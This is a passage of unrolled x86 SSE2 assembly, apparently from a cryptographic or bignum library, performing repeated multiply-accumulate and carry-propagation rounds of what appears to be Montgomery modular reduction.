paddq %xmm1, %xmm7
movd %xmm7, (36)(%edx)
psrlq $(32), %xmm7
movd (32)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (40)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (40)(%edx)
psrlq $(32), %xmm7
movd (36)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (44)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (44)(%edx)
psrlq $(32), %xmm7
movd (40)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (48)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (48)(%edx)
psrlq $(32), %xmm7
movd (44)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (52)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (52)(%edx)
psrlq $(32), %xmm7
movd (48)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (56)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (56)(%edx)
psrlq $(32), %xmm7
movd (52)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (60)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (60)(%edx)
psrlq $(32), %xmm7
movd (56)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (64)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (64)(%edx)
psrlq $(32), %xmm7
paddq %xmm4, %xmm7
movd %xmm7, (68)(%edx)
pshuflw $(254), %xmm7, %xmm6
movd (12)(%edx), %xmm0
pmuludq %xmm5, %xmm0
movd (72)(%edx), %xmm4
paddq %xmm6, %xmm4
movd (%eax), %xmm7
pmuludq %xmm0, %xmm7
movd (12)(%edx), %xmm2
paddq %xmm2, %xmm7
movd %xmm7, (12)(%edx)
psrlq $(32), %xmm7
movd (4)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (16)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (16)(%edx)
psrlq $(32), %xmm7
movd (8)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (20)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (20)(%edx)
psrlq $(32), %xmm7
movd (12)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (24)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (24)(%edx)
psrlq $(32), %xmm7
movd (16)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (28)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (28)(%edx)
psrlq $(32), %xmm7
movd (20)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (32)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (32)(%edx)
psrlq $(32), %xmm7
movd (24)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (36)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (36)(%edx)
psrlq $(32), %xmm7
movd (28)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (40)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (40)(%edx)
psrlq $(32), %xmm7
movd (32)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (44)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (44)(%edx)
psrlq $(32), %xmm7
movd (36)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (48)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (48)(%edx)
psrlq $(32), %xmm7
movd (40)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (52)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (52)(%edx)
psrlq $(32), %xmm7
movd (44)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (56)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (56)(%edx)
psrlq $(32), %xmm7
movd (48)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (60)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (60)(%edx)
psrlq $(32), %xmm7
movd (52)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (64)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (64)(%edx)
psrlq $(32), %xmm7
movd (56)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (68)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (68)(%edx)
psrlq $(32), %xmm7
paddq %xmm4, %xmm7
movd %xmm7, (72)(%edx)
pshuflw $(254), %xmm7, %xmm6
movd (16)(%edx), %xmm0
pmuludq %xmm5, %xmm0
movd (76)(%edx), %xmm4
paddq %xmm6, %xmm4
movd (%eax), %xmm7
pmuludq %xmm0, %xmm7
movd (16)(%edx), %xmm2
paddq %xmm2, %xmm7
movd %xmm7, (16)(%edx)
psrlq $(32), %xmm7
movd (4)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (20)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (20)(%edx)
psrlq $(32), %xmm7
movd (8)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (24)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (24)(%edx)
psrlq $(32), %xmm7
movd (12)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (28)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (28)(%edx)
psrlq $(32), %xmm7
movd (16)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (32)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (32)(%edx)
psrlq $(32), %xmm7
movd (20)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (36)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (36)(%edx)
psrlq $(32), %xmm7
movd (24)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (40)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (40)(%edx)
psrlq $(32), %xmm7
movd (28)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (44)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (44)(%edx)
psrlq $(32), %xmm7
movd (32)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (48)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (48)(%edx)
psrlq $(32), %xmm7
movd (36)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (52)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (52)(%edx)
psrlq $(32), %xmm7
movd (40)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (56)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (56)(%edx)
psrlq $(32), %xmm7
movd (44)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (60)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (60)(%edx)
psrlq $(32), %xmm7
movd (48)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (64)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (64)(%edx)
psrlq $(32), %xmm7
movd (52)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (68)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (68)(%edx)
psrlq $(32), %xmm7
movd (56)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (72)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (72)(%edx)
psrlq $(32), %xmm7
paddq %xmm4, %xmm7
movd %xmm7, (76)(%edx)
pshuflw $(254), %xmm7, %xmm6
movd (20)(%edx), %xmm0
pmuludq %xmm5, %xmm0
movd (80)(%edx), %xmm4
paddq %xmm6, %xmm4
movd (%eax), %xmm7
pmuludq %xmm0, %xmm7
movd (20)(%edx), %xmm2
paddq %xmm2, %xmm7
movd %xmm7, (20)(%edx)
psrlq $(32), %xmm7
movd (4)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (24)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (24)(%edx)
psrlq $(32), %xmm7
movd (8)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (28)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (28)(%edx)
psrlq $(32), %xmm7
movd (12)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (32)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (32)(%edx)
psrlq $(32), %xmm7
movd (16)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (36)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (36)(%edx)
psrlq $(32), %xmm7
movd (20)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (40)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (40)(%edx)
psrlq $(32), %xmm7
movd (24)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (44)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (44)(%edx)
psrlq $(32), %xmm7
movd (28)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (48)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (48)(%edx)
psrlq $(32), %xmm7
movd (32)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (52)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (52)(%edx)
psrlq $(32), %xmm7
movd (36)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (56)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (56)(%edx)
psrlq $(32), %xmm7
movd (40)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (60)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (60)(%edx)
psrlq $(32), %xmm7
movd (44)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (64)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (64)(%edx)
psrlq $(32), %xmm7
movd (48)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (68)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (68)(%edx)
psrlq $(32), %xmm7
movd (52)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (72)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (72)(%edx)
psrlq $(32), %xmm7
movd (56)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (76)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (76)(%edx)
psrlq $(32), %xmm7
paddq %xmm4, %xmm7
movd %xmm7, (80)(%edx)
pshuflw $(254), %xmm7, %xmm6
movd (24)(%edx), %xmm0
pmuludq %xmm5, %xmm0
movd (84)(%edx), %xmm4
paddq %xmm6, %xmm4
movd (%eax), %xmm7
pmuludq %xmm0, %xmm7
movd (24)(%edx), %xmm2
paddq %xmm2, %xmm7
movd %xmm7, (24)(%edx)
psrlq $(32), %xmm7
movd (4)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (28)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (28)(%edx)
psrlq $(32), %xmm7
movd (8)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (32)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (32)(%edx)
psrlq $(32), %xmm7
movd (12)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (36)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (36)(%edx)
psrlq $(32), %xmm7
movd (16)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (40)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (40)(%edx)
psrlq $(32), %xmm7
movd (20)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (44)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (44)(%edx)
psrlq $(32), %xmm7
movd (24)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (48)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (48)(%edx)
psrlq $(32), %xmm7
movd (28)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (52)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (52)(%edx)
psrlq $(32), %xmm7
movd (32)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (56)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (56)(%edx)
psrlq $(32), %xmm7
movd (36)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (60)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (60)(%edx)
psrlq $(32), %xmm7
movd (40)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (64)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (64)(%edx)
psrlq $(32), %xmm7
movd (44)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (68)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (68)(%edx)
psrlq $(32), %xmm7
movd (48)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (72)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (72)(%edx)
psrlq $(32), %xmm7
movd (52)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (76)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (76)(%edx)
psrlq $(32), %xmm7
movd (56)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (80)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (80)(%edx)
psrlq $(32), %xmm7
paddq %xmm4, %xmm7
movd %xmm7, (84)(%edx)
pshuflw $(254), %xmm7, %xmm6
movd (28)(%edx), %xmm0
pmuludq %xmm5, %xmm0
movd (88)(%edx), %xmm4
paddq %xmm6, %xmm4
movd (%eax), %xmm7
pmuludq %xmm0, %xmm7
movd (28)(%edx), %xmm2
paddq %xmm2, %xmm7
movd %xmm7, (28)(%edx)
psrlq $(32), %xmm7
movd (4)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (32)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (32)(%edx)
psrlq $(32), %xmm7
movd (8)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (36)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (36)(%edx)
psrlq $(32), %xmm7
movd (12)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (40)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (40)(%edx)
psrlq $(32), %xmm7
movd (16)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (44)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (44)(%edx)
psrlq $(32), %xmm7
movd (20)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (48)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (48)(%edx)
psrlq $(32), %xmm7
movd (24)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (52)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (52)(%edx)
psrlq $(32), %xmm7
movd (28)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (56)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (56)(%edx)
psrlq $(32), %xmm7
movd (32)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (60)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (60)(%edx)
psrlq $(32), %xmm7
movd (36)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (64)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (64)(%edx)
psrlq $(32), %xmm7
movd (40)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (68)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (68)(%edx)
psrlq $(32), %xmm7
movd (44)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (72)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (72)(%edx)
psrlq $(32), %xmm7
movd (48)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (76)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (76)(%edx)
psrlq $(32), %xmm7
movd (52)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (80)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (80)(%edx)
psrlq $(32), %xmm7
movd (56)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (84)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (84)(%edx)
psrlq $(32), %xmm7
paddq %xmm4, %xmm7
movd %xmm7, (88)(%edx)
pshuflw $(254), %xmm7, %xmm6
movd (32)(%edx), %xmm0
pmuludq %xmm5, %xmm0
movd (92)(%edx), %xmm4
paddq %xmm6, %xmm4
movd (%eax), %xmm7
pmuludq %xmm0, %xmm7
movd (32)(%edx), %xmm2
paddq %xmm2, %xmm7
movd %xmm7, (32)(%edx)
psrlq $(32), %xmm7
movd (4)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (36)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (36)(%edx)
psrlq $(32), %xmm7
movd (8)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (40)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (40)(%edx)
psrlq $(32), %xmm7
movd (12)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (44)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (44)(%edx)
psrlq $(32), %xmm7
movd (16)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (48)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (48)(%edx)
psrlq $(32), %xmm7
movd (20)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (52)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (52)(%edx)
psrlq $(32), %xmm7
movd (24)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (56)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (56)(%edx)
psrlq $(32), %xmm7
movd (28)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (60)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (60)(%edx)
psrlq $(32), %xmm7
movd (32)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (64)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (64)(%edx)
psrlq $(32), %xmm7
movd (36)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (68)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (68)(%edx)
psrlq $(32), %xmm7
movd (40)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (72)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (72)(%edx)
psrlq $(32), %xmm7
movd (44)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (76)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (76)(%edx)
psrlq $(32), %xmm7
movd (48)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (80)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (80)(%edx)
psrlq $(32), %xmm7
movd (52)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (84)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (84)(%edx)
psrlq $(32), %xmm7
movd (56)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (88)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (88)(%edx)
psrlq $(32), %xmm7
paddq %xmm4, %xmm7
movd %xmm7, (92)(%edx)
pshuflw $(254), %xmm7, %xmm6
movd (36)(%edx), %xmm0
pmuludq %xmm5, %xmm0
movd (96)(%edx), %xmm4
paddq %xmm6, %xmm4
movd (%eax), %xmm7
pmuludq %xmm0, %xmm7
movd (36)(%edx), %xmm2
paddq %xmm2, %xmm7
movd %xmm7, (36)(%edx)
psrlq $(32), %xmm7
movd (4)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (40)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (40)(%edx)
psrlq $(32), %xmm7
movd (8)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (44)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (44)(%edx)
psrlq $(32), %xmm7
movd (12)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (48)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (48)(%edx)
psrlq $(32), %xmm7
movd (16)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (52)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (52)(%edx)
psrlq $(32), %xmm7
movd (20)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (56)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (56)(%edx)
psrlq $(32), %xmm7
movd (24)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (60)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (60)(%edx)
psrlq $(32), %xmm7
movd (28)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (64)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (64)(%edx)
psrlq $(32), %xmm7
movd (32)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (68)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (68)(%edx)
psrlq $(32), %xmm7
movd (36)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (72)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (72)(%edx)
psrlq $(32), %xmm7
movd (40)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (76)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (76)(%edx)
psrlq $(32), %xmm7
movd (44)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (80)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (80)(%edx)
psrlq $(32), %xmm7
movd (48)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (84)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (84)(%edx)
psrlq $(32), %xmm7
movd (52)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (88)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (88)(%edx)
psrlq $(32), %xmm7
movd (56)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (92)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (92)(%edx)
psrlq $(32), %xmm7
paddq %xmm4, %xmm7
movd %xmm7, (96)(%edx)
pshuflw $(254), %xmm7, %xmm6
movd (40)(%edx), %xmm0
pmuludq %xmm5, %xmm0
movd (100)(%edx), %xmm4
paddq %xmm6, %xmm4
movd (%eax), %xmm7
pmuludq %xmm0, %xmm7
movd (40)(%edx), %xmm2
paddq %xmm2, %xmm7
movd %xmm7, (40)(%edx)
psrlq $(32), %xmm7
movd (4)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (44)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (44)(%edx)
psrlq $(32), %xmm7
movd (8)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (48)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (48)(%edx)
psrlq $(32), %xmm7
movd (12)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (52)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (52)(%edx)
psrlq $(32), %xmm7
movd (16)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (56)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (56)(%edx)
psrlq $(32), %xmm7
movd (20)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (60)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (60)(%edx)
psrlq $(32), %xmm7
movd (24)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (64)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (64)(%edx)
psrlq $(32), %xmm7
movd (28)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (68)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (68)(%edx)
psrlq $(32), %xmm7
movd (32)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (72)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (72)(%edx)
psrlq $(32), %xmm7
movd (36)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (76)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (76)(%edx)
psrlq $(32), %xmm7
movd (40)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (80)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (80)(%edx)
psrlq $(32), %xmm7
movd (44)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (84)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (84)(%edx)
psrlq $(32), %xmm7
movd (48)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (88)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (88)(%edx)
psrlq $(32), %xmm7
movd (52)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (92)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (92)(%edx)
psrlq $(32), %xmm7
movd (56)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (96)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (96)(%edx)
psrlq $(32), %xmm7
paddq %xmm4, %xmm7
movd %xmm7, (100)(%edx)
pshuflw $(254), %xmm7, %xmm6
movd (44)(%edx), %xmm0
pmuludq %xmm5, %xmm0
movd (104)(%edx), %xmm4
paddq %xmm6, %xmm4
movd (%eax), %xmm7
pmuludq %xmm0, %xmm7
movd (44)(%edx), %xmm2
paddq %xmm2, %xmm7
